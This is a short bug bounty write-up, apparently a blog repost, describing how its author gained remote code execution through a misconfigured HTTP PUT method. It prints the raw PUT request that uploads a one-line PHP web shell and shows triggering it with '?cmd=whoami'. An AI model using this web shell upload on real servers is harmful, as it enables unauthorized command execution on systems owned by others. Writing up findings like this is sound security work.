My First RCE Vulnerability

3 days ago 14
BOOK THIS SPACE FOR AD
ARTICLE AD

Reko !

I’m Rakan Allhyani, a 17-year-old Bug Hunter and CTF enthusiast. Driven by curiosity and a passion for cybersecurity

In the world of bug bounty hunting, finding Remote Code Execution (RCE) vulnerabilities is like striking gold. Recently, I stumbled upon an interesting case where an RCE was possible due to improper implementation of the HTTP PUT method. Here’s how I found and exploited it

The Discovery

While testing a medium-sized company’s web application, I noticed an endpoint that responded unusually to the OPTIONSmethod. It revealed that the server supported various methods, including GET, POST, DELETE, and PUT.

The PUT method caught my attention because it’s often overlooked and can be a goldmine if not properly secured.

Understanding the PUT Method

The HTTP PUT method allows clients to upload or replace resources on the server. If misconfigured, it can let attackers upload malicious files, leading to severe vulnerabilities like RCE.

Testing the Endpoint

I sent a simple request to test the PUT functionality:

PUT /xx/xx/xx/xx/shell.php HTTP/1.1
Host: target.com
Content-Type: text/plain
Content-Length: 27

<?php system($_GET['cmd']); ?>

The server responded with 201 Created, confirming that the file was successfully uploaded. This was the first indication of a potential RCE.

Verifying the Exploit

Next, I navigated to https://target.com/xx/xx/xx/xx/shell.phpand appended a query parameter like ?cmd=whoami. The server executed the command, and I got the output of the whoamicommand in the response.

Conclusion

This case highlights the importance of thorough testing and the risks of insecure HTTP methods. As a bug bounty hunter, always keep an eye out for overlooked features like PUT. Sometimes, the most basic misconfigurations can lead to critical vulnerabilities.

Happy hunting! 🐞

Read Entire Article